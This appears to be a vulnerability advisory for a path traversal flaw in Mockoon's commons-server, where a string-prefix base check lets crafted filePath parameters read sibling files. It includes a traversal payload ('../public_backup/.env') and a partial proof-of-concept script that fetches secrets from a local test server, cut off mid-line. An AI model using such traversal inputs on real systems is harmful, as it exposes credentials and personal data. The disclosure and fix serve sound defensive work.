A AegiFlow
MEDIUMCVSS 6.5EPSS 0.5%

CVE-2026-59149

@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Published
2026-09-11
Modified
2026-09-11
EPSS percentile
40%
Aliases
GHSA-8wqc-v2q8-vff2
Sources
github-advisory

Summary

## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv cat > env.json /dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../publi

Affected packages

EcosystemPackageAffected versionsFixed versions
npm@mockoon/cli9.7.0
npm@mockoon/commons-server9.7.0

Remediation: Upgrade to 9.7.0 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.